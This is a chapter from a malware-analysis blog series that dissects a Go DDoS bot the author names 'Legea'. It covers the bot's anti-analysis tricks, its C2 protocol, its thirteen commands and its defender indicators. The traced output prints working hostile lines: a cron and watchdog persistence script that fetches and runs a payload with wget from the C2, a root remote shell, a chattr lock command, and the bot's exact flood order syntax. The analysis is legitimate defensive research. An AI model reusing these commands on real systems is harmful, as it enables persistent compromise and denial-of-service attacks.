ES EN
Index

Legea · Chapter 32

It encrypted a broken message too

Three lying bytes keep the decompiler out, and behind them there's a second wall: the author's strings aren't in the file at all. By the time I finally got it talking, it had spent a while saying yes to seven orders that don't exist.

The last chapter ended with the decompiler shutting the door in my face: invalid Go version. A 40 MB binary that starts and runs on a real machine, but that on being opened claims something impossible about itself.

That message is the first of two walls, and both belong to the same author. The second one took me longer to see, and the road to it includes the stretch where the thing kept telling me yes to seven orders that don't exist.

01Three bytes that lie

A Go binary isn't a black box. The compiler leaves an index of its own functions inside, the gopclntab, along with a record of the toolchain it was built with. That's what lets a decompiler rebuild function names and boundaries in a file with no symbols. Everybody reads it, and it's the first thing they read. Which makes it the ideal place to lie.

I compared what that header said with what it had to say, and three fields had been touched:

the faked header, and what it should say
field                        says             actually is
.gopclntab   magic           50 c2 6d 30      f1 ff ff ff   (0xFFFFFFF1, the real magic)
pcHeader     textStart       0                0x401000      (real base of the code)
.go.buildinfo  version       "unknown"        "go1.24.1"

Three fields, a handful of bytes. Not one of them is needed for the program to run: the operating system never looks at them on startup, only analysis tools do. They're a lie aimed at me, not at the machine. A note on scope: I verified those three fields on the sample I opened, the x64 one; for the other seven architectures I'm inferring it from them being the same campaign, and I didn't check them one by one.

It works, but it doesn't last. I took a copy of the file, gave those three fields their true values back and opened it again. The decompiler walked straight in and, with the function index back where it belongs, the whole layout of the binary appeared at once: the client that phones home, the order dispatcher, the handler for each attack, the workers.

And it isn't this author's invention. Nokia Deepfield's response team described two of these three fields in a July report on DDoSia, the attack tool of NoName057(16): the .gopclntab magic clobbered and the build version set to unknown. The third, textStart zeroed, isn't in there. It's a recipe doing the rounds, and this one takes it one field further.

What's interesting is what it didn't fix. I had the code, I could read all of it, and I still had no idea who it was calling.

02The second wall: the strings aren't there

A bot has to carry the address of its command server. It's the one piece of data it can't do without: no address, no botnet. So I went looking the way you always do, sweeping the file for text, and there was nothing. No address, no domain, not even the names of its own orders.

What was there was text from the system libraries, in the clear and in plain sight: tls: , dns: udp: , %s:%d, socks . And that contrast is one particular tool's signature. The binary has been through garble, the Go obfuscator, with the -literals option turned on: it scrambles the names and encrypts the strings belonging to the author's own packages, leaving the standard library's alone. Hence the lopsided split: what he wrote, encrypted; what he brought in from outside, readable. The same option DDoSia's client carries, according to that same report.

That changes the question. The strings aren't assembled on the fly through some clever arithmetic, which is what I assumed at first: they're encrypted at rest and decrypt themselves on startup, because the program needs them in the clear to use them. Which means they exist, whole, in one specific place: the memory of the running process.

So I started it in the cage, as root, which is how it lands on a victim, and let it run on its own with nobody answering. The first thing it confirmed is that by itself it does nothing: it doesn't persist, it doesn't touch /etc/shadow or the user's keys, it doesn't scan, it doesn't open a single raw socket. All it does is phone home. And phone, and phone:

what it does when nobody answers
connect() to 130.12.180.32:7001            17 times
DNS queries to 127.0.0.1:53                476 times (its domains, one after another)

# and the only thing that actually leaves the wire:
ARP  who-has 130.12.180.32                 no reply

Seventeen connection attempts, 476 DNS questions, and the only thing that makes it out to the wire is an ARP asking who holds that address, which nobody answers. A creature banging on the walls of a closed room.

While it was banging, I froze it and read its memory. And there was everything the file didn't have: the address of its command server, the seven fallback domains, the names of its orders, and even the lines the author uses to narrate events to himself (Trying domain: %s, Connected to IP: %s, dispatch err: %v).

WALL 1 · the header liesthe fileas it landed3 bytescopy with the headerput back as it wasthe code, readabledispatcher, handlersWALL 2 · the strings are encrypted at restthe same filenot one string insidecagerunning processdecrypts itself on startupmemory dumpC2, domains, legea=the first wall hides the CODE · the second hides the DATAand each has to be passed separately, with a different tool
Two independent walls put up by the same author, and each wants a different tool: the header is fixed by editing bytes in a copy, and the strings only show up by letting the thing decrypt them for you inside a cage.

03Seven orders that didn't exist

With the address and port in hand, the next step is to stand up a fake command server inside the cage and learn to talk to it. The protocol is one of the simple ones: plain text over TCP, the server speaks first, and the bot reads a line. So I started feeding it candidate orders to see which ones it accepted, with one thing going for me: when it doesn't understand something, it says so.

That was my oracle. Send a word, look at its output, and if the complaint doesn't appear, it took it. Seven words passed the test, exactly the ones you'd expect in a bot like this: udp, tcp, syn, ack, gre, l7, http2. I wrote them down as the thing's repertoire. They fitted so well that I didn't look twice.

All seven were wrong. It's not that the bot rejected them: it's that my oracle couldn't see a single reply, and I was reading an empty file as a yes.

The cause is something the thing does which I'd already noted two sections earlier without joining the dots: it daemonises. On startup it detaches from the terminal, opens a new session and re-executes itself, and in doing so it lets go of its standard output. From that moment on, anything it writes isn't going to my file. It isn't going anywhere. My meter read zero because it was unplugged, and I read zero as "accepted".

same bot, two oracles, opposite verdicts
# BAD ORACLE: read the process's output file
$ echo "udp 203.0.113.9 80 1 1" | nc -l 7001 ; cat output.txt
(empty)                                  → I read it as "accepted". Wrong.

# GOOD ORACLE: trace the write() system call
$ strace -f -e trace=write ./bot
write(1, "dispatch err: unknown cmd: udp\n")    → the truth: it doesn't know it
write(1, "dispatch err: unknown cmd: syn\n")    → nor that one
                                                 ... and so on for all seven

The difference between the two runs isn't in the bot, which did the same thing both times. It's in where I'm looking. The output file is a place the process no longer writes to. The write system call, on the other hand, it still has to make, and there it shows up, complaint and all, naming the order it doesn't recognise.

And the moment I could read the complaints, the opposite also surfaced: the first word that didn't produce an error. It isn't any of the seven.

04"The law"

The entire repertoire is requested with the same word in front:

the real format of an order
legea=<method> <target> <port> <seconds> <threads>

# example, against the documentation IP 203.0.113.9:
legea=udpflood 203.0.113.9 80 1 1
# and the heartbeat, which goes on its own without the key:
PING                                        → PONG

There was the verb: there are no standalone orders, there's one key with the method tucked inside it. And that key is the most interesting thing in the whole dump, both for what it is and for how little else there is.

Because this one left nothing else of its own: no banner, no alias, no version number, no project name, not one path from its author's disk, which is how so many of them give themselves away. Everything is scrambled and encrypted. legea is the only word he chose that's still standing, and it's everywhere:

the author's key: in the file versus in memory
$ ./fig-legea.sh
== author key 'legea': in the binary vs in process memory ==
  in the BINARY (at rest, encrypted by garble -literals):     0
  in MEMORY    (decrypted at runtime):                      124

== method repertoire (key legea=<method>), by frequency ==
     11 legea=udpsmart         7 legea=tcphandshake      4 legea=rce
     11 legea=persist          7 legea=dns               4 legea=lock
      9 legea=tcpflood         6 legea=udpflood          4 legea=kill
      9 legea=synflood         8 legea=http              4 legea=greflood
      9 legea=ackflood

Zero times in the file, 124 in the running process. That figure is also the cleanest proof of -literals: the word exists, the program uses it constantly, and on disk it isn't there. And the same screen holds the full repertoire, which is what I was after.

That's where the name I filed it under comes from: Legea, which is Romanian for "the law". It's a string that was inside the binary, and I picked it because it's the only thing its author put there. The name says nothing about who wrote it or where they're from, any more than it does for any other family named after its mutex or a string from its protocol.

One point of method, which is what gave me the clean figure: the dump also contains things like tcphandshakepe, which aren't methods but heap garbage sitting right behind. So the count only matches against the thirteen real names, not against anything starting with legea=.

05Nine attacks and four keys

With the right syntax, the thing undresses completely: I fed it the thirteen orders one at a time, watching with a system call trace, a packet capture and a disk diff to see what it did with each. All thirteen work. Nine are attacks and four aren't, and those four change what this is.

The nine attacks, with what each announces on starting up (test target: 203.0.113.9, an IP reserved for documentation, inside the cage):

OrderWhat it says on startingWhat it throws
legea=udpfloodStarting UDP flood… / UDP flood done. Sent: 13941UDP flood
legea=udpsmartStarting randomized UDP flood…UDP with randomised fields
legea=tcpfloodTCP flood done. Sent: …TCP connections by the bucket
legea=tcphandshakehost:… secs:…half-finished TCP handshakes, to exhaust tables
legea=synfloodSYN flood done. Sent: 12111SYN over a raw socket
legea=ackfloodACK flood done. Sent: 12175ACK over a raw socket
legea=grefloodGRE flood done. Sent: 11573GRE over a raw socket
legea=httpStarting HTTP flood…HTTP requests (layer 7)
legea=dnsStarting DNS flood…DNS abuse

It covers layers 3, 4 and 7, and the three that use raw sockets need to be root: that's where you see why it's delivered as root and why an ordinary account wouldn't do. None of this is exotic. It's the standard spread of a rental bot, and I'm describing it for what helps spot it, not for how it builds each packet.

The other four orders are the ones that changed my verdict, because they're not for knocking anyone over. They're for keeping the machine.

the four keys, set off one at a time in the cage
# legea=rce id        → arbitrary shell, with full privileges
execve("/usr/bin/sh", ["sh","-c","id"])
write(1, "uid=0(root) gid=0(root) groups=0(root)\n")

# legea=persist       → nails itself down in three places at once
execve("/usr/bin/systemctl", ["systemctl","enable","--now","systemd-helper.service"])
execve("/usr/bin/bash", ["bash","-c","(crontab -l; echo '* * * * * bash
       /var/lib/.systemd_helper/.systemd_script.sh >/dev/null 2>&1') | crontab -"])
# and it drops the watchdog, which re-downloads itself if the bot isn't running:
  URL="hxxp://<its server>/x86";  PROG="/var/lib/.systemd_helper/.systemd_process"
  [ ! -f $PROG ] && wget -O $PROG $URL && chmod +x $PROG;  pgrep -x .systemd_process || $PROG &

# legea=lock          → makes the system directories immutable
execve("/usr/bin/chattr", ["chattr","+i","/etc/config"])   … and /data /proc /root /sys /tmp /var/run …

# legea=kill          → the rival killer
write(1, "Killer disabled.\n")               (on switching it off)

They're worth taking one at a time, because together they're a different animal from the one this looked like.

rce is a remote shell with full privileges: send it a command and it hands back the output. With that, the repertoire of the other twelve methods hardly matters; the operator can do whatever he likes on the machine, including bringing in new tools.

persist grabs hold in three places: a system service with an innocent-sounding name (systemd-helper, which sounds like a distribution component and isn't), a scheduled job running every minute, and a watchdog script that checks whether the bot is still alive and, if it isn't, downloads it again from the delivery server. It's the same address it arrived from, so persistence ties it to its own infrastructure: as long as that box serves files, the victim reinfects itself every minute.

lock is the one I liked most, because it's the kind of detail that hints at what hardware this is aimed at. It sets the immutable attribute on a fixed list of directories, so neither another intruder can drop files there nor the owner can comfortably clean the machine. And in that list, alongside the ones any Linux box has, are two that have no business being on a server: /etc/config and /data. On OpenWrt those are standard paths, and that's the explanation that fits best, though they aren't exclusive to it and other embedded systems use them too. As it stands, the list reads as though it was written with edge devices in mind rather than the machine it landed on.

kill is a module that kills rival processes, the usual thing for keeping a device to yourself. It exists and it responds, that much I saw; exactly which processes it kills I didn't get, and I'm writing that down because it's a real gap in this analysis.

Put the four together and what lands on the victim isn't a denial-of-service cannon. It's a complete bot with a control plane: remote shell, self-repairing persistence and territory lock. That profile, rival killer plus marked territory plus router paths, is old-fashioned Mirai family, but rewritten in Go and with the protocol and obfuscation of another era.

06Two labels that got it wrong

My own decoy classifier, which looks at every sample that comes in and says in one line what it's about, said of this one: "downloads further components; tries telnet or ssh credentials". The first half is true, and it's precisely the persist watchdog re-downloading the binary. The second half is false, and the reason is rather good.

This bot links gopacket, the library for building and reading network packets, which is the engine behind its three raw-socket attacks. And gopacket carries inside it, so it can describe the traffic it reads, an enormous table with the names of every well-known port: telnet, ssh, http, and a few hundred more. The classifier saw those words in the binary and drew the reasonable conclusion. The words were there. What wasn't there was anything using them.

Since the question mattered (a bot that brute-forces SSH spreads on its own, which changes how you have to defend against it), I checked it along three routes that share no tooling:

QuestionWhat I looked forResult
Can it speak SSH?a linked SSH client library, authentication functionsthere is none. Without that, brute-forcing SSH isn't unlikely, it's impossible
Does it carry a dictionary?the classic credentials from Mirai lists (xc3511, vizxv, xmhdipc, 7ujMko0…) and user:password pairsnothing. The only thing resembling one is user:cpu-seconds, a metric from the language itself
Is there any route to it?the dispatcher's branches, one by onethirteen string comparisons and the heartbeat. Not one scans or tries credentials

The second one is where I could have fooled myself again, because "I found nothing" is exactly what a broken search says. So before trusting it I checked that it knew how to say yes: the same search, in the same dump, does find the author's strings I already knew were decrypted in there (legea, the seven domains, the log lines). It finds what's present. What isn't present is the dictionary.

So this bot doesn't spread on its own. It sits still until somebody talks to it, and any expansion comes from an operator's order. Which puts the case's two automated labels in their place: a classifier crediting it with a capability it doesn't have, and an antivirus engine that looked at the same file and called it a legitimate file.

07What family is this

The genre is documented, and that's worth saying before painting anything as exotic: denial-of-service bots written in Go have been showing up for a couple of years now, and the closest relative this one has is the Go IoT bot Akamai analysed in September. The command skeleton is the same right down to the details: plain-text TCP, split the line into fields, first field rules, each attack dispatched to its handler in lightweight threads. The way it spreads matches too, with a loader asking for /<architecture> over HTTP.

But compared binary against binary they aren't the same thing, and the differences aren't subtle:

Akamai's (Sep 2026)This one
Stealthplain text, no encryption, no obfuscationgarble with -literals, faked Go header, custom TLS stack and DNS over HTTPS
Command serverone IP and nothing elseone IP plus seven fixed fallback domains
What it's built fortaking down games: its methods name FiveM, Minecraft, Discordgeneric networking, without a single word from that world, and it adds GRE, which the other one lacks
How many attacksaround thirtynine
Does it spread by itself?yes, it ships a scannerno (§06)

And there's one similarity I shouldn't hide, because it cuts against me: the other one also carries control orders, for killing and for persisting. The control plane isn't what separates the two; what separates them is the stealth, the domain reserve and what the spread of attacks is for. It isn't any of the others I compared it against either, and those fall away for blunt reasons: Zergeca (XLab, 2024) is missing its own markers and its encrypted transport here; HTTPBot (NSFOCUS, 2025) is Windows-only and never leaves layer 7; and DDoSia, the faked-header one from §01, is another tool with another owner.

So in the public repositories this is still what it was when it arrived: eight files uploaded, with no family name from any engine, and the delivery infrastructure under watch while nobody knows what the samples are. A bot from a known genre, with an extra turn of the stealth screw and no scanner, that still has no label.

08Seven fallback domains, and six don't exist

That leaves the thing's plan B, which is the part I took most seriously. Besides the IP, it carries seven domains inside to go looking for its master if the address goes down. And they're not the kind that change daily: I set the machine's clock a month ahead, set it off again, and the same seven came out. Fixed seed. For a defender that's the best possible news, because they're indicators that don't expire: block them once and you're done.

I went to see what was behind each one, asking each domain's registry, which is a query to public databases and touches nothing of the attacker's. And what's behind them is next to nothing:

DomainStatus
39rwd49tgi9.xyzthe only one that ever existed: registered on 15 Oct and suspended by the registry on 16 Oct at 16:09 UTC. 21 hours and 17 minutes of life. Its name servers were the registrar's parking ones, so it never pointed at any machine of the operator's
9egu923jfsdf.prounregistered
dfisjqef0s.appunregistered
fallbackmaximidfjdsia.comunregistered
sg9sj8ifda.comunregistered
sfoig93rafa.iounregistered
w9triu9w8vs.rounregistered

Six out of seven have never been registered. On paper, the fallback plan makes the bot resilient to losing its server; in practice, today it has nowhere to fall: lose the IP and it goes mute, knocking on seven doors that don't exist.

Twice I nearly swallowed a "there's nothing here" that wasn't true, and both times for the same reason as before. My first pass went through a service that forwards queries to whichever registry is responsible, and it gave me all seven as free; but two of those registries, .ro and .io, don't run that service, and what I was reading as "not registered" actually meant "there's nobody here to ask". I redid those against each registry directly. And the .ro one has another trap: when the domain doesn't exist it returns an enormous legal notice and not one line of data, which is exactly what a broken service returns. I settled it by asking about a domain that does exist: if that one comes back with data, the service works, and the silence about the bot's domain means what it looks like.

One qualification, so as not to sell more than I checked: what's verified is that those six are not registered. Whether they could be registered today is another question, because a registry can be holding them reserved or blocked without that being visible, and I haven't asked it. And while they stay free there's an uncomfortable surface there: whoever registers one becomes the master of every bot that falls back. That's the reason to publish the list so they get blocked and watched; acting on them is a matter for the registries and for whoever has the authority.

Why the one that existed died: I don't know The registry suspended it 21 hours after it was born, and the status it set carries no reason: ICANN itself publishes no causes for that code. What I do know is that the suspension predates every public trace of the thing, and that the domain never resolved anywhere at all, so the link between that name and this malware didn't exist outside the binary, where it's encrypted anyway. Two explanations fit and I can't pick between them: that someone beat the obfuscation within hours, pulled the list and reported it; or that the suspension has nothing to do with the malware and it was killed by an automated screen looking at the shape of the name, an unpaid bill or a registrant check. I lean towards the second because it's the cheaper thing to believe, and I'm saying that as a leaning, not a finding.

And there's one last calendar detail that finishes it off. By the time the eight binaries landed in the decoy, its fallback domain had been dead for eight hours, and its delivery server had been on the record for five in a public repository of malicious URLs. The campaign arrived burned from home and carried on delivering as if nothing had happened.

Lined up like that, the contrast is what describes this one best. Inside it's an armoured cabinet: faked header, strings encrypted one by one, scrambled names, custom TLS stack. Outside it's a rented flat with the door left open: an off-the-shelf box shared with hundreds of addresses, six domains he never bothered to buy, and the one he did buy dead within a day. Stealth comes from a compiler option, and it's free. Infrastructure costs money and persistence.

What crowns it is the smallest detail of all. He lovingly encrypted every one of his log lines, one by one, including the HTTP flood's, which comes out broken: it announces its target with a %!d(MISSING) where the port should be, because its author passed the arguments wrong. He took the trouble to encrypt a message that doesn't work, and he never saw it, because to see it he'd have had to start his own bot up and read himself from the inside. Which is exactly what I've just done.

09Indicators

The delivery ones are in the previous chapter. These are the bot's own, and the network ones don't expire: the domain list is fixed.

TypeValue
FamilyLegea (name taken from its protocol key; no label in any public engine)
Command server130.12.180.32:7001/TCP, the same server that delivers it
Fallback domains (fixed list, block all 7)39rwd49tgi9.xyz · 9egu923jfsdf.pro · dfisjqef0s.app · fallbackmaximidfjdsia.com · sfoig93rafa.io · sg9sj8ifda.com · w9triu9w8vs.ro
Still indicators even though they don't resolve today: the bot tries them regardless
Protocolplain-text TCP, server speaks first · order: legea=<method> <target> <port> <seconds> <threads> · heartbeat PING / PONG · to anything unknown it answers dispatch err: unknown cmd: <x>
Methods (13)attack: udpflood, udpsmart, tcpflood, tcphandshake, synflood, ackflood, greflood, http, dns · control: rce, persist, lock, kill
Markers in memorythe key legea (0 times in the file, 124 in the running process) · log lines dispatch err: %v, unknown cmd: %s, Trying domain: %s, Connected to IP: %s · the format bug %!d(MISSING) in the HTTP flood
Faked header (anti-analysis).gopclntab magic = 0x50c26d30 (real one is 0xFFFFFFF1) · textStart = 0 (real 0x401000) · version in .go.buildinfo = "unknown" (real go1.24.1)
Persistence (on receiving legea=persist)/var/lib/.systemd_helper/ (hidden) · .systemd_script.sh (watchdog that re-downloads) · .systemd_process (the replaced binary) · /etc/systemd/system/systemd-helper.service (Restart=always, RestartSec=60) · root cron job every minute
Territory lock (on receiving legea=lock)unexpected immutable attribute on /data /etc/config /mnt /proc /root /sys /tmp /usr/tmp /var/cache /var/lib/ /var/run /var/tmp · /etc/config and /data point to an embedded target, OpenWrt most likely (not exclusive to it)
Behaviourdaemonises (opens a new session and re-executes itself, letting go of standard output) · with no C2 talking to it, it doesn't touch the system · raw sockets for syn/ack/gre, which require root · rce runs sh -c and returns the output
BuildGo 1.24 (links the FIPS 140 module and post-quantum crypto, which don't exist earlier) · garble with -literals · static stripped ELF, 33 to 40 MB, with no second binary embedded
Declared gapsthe exact list of processes kill terminates · the reason for the domain's suspension · whether the six free ones could be registered today · the faked header was only verified on the x64 build

To be continued - the decoy stays lit, and sitting in storage are four binaries that same IP dropped nine days earlier, from the other family, still unopened. 🍯

Comments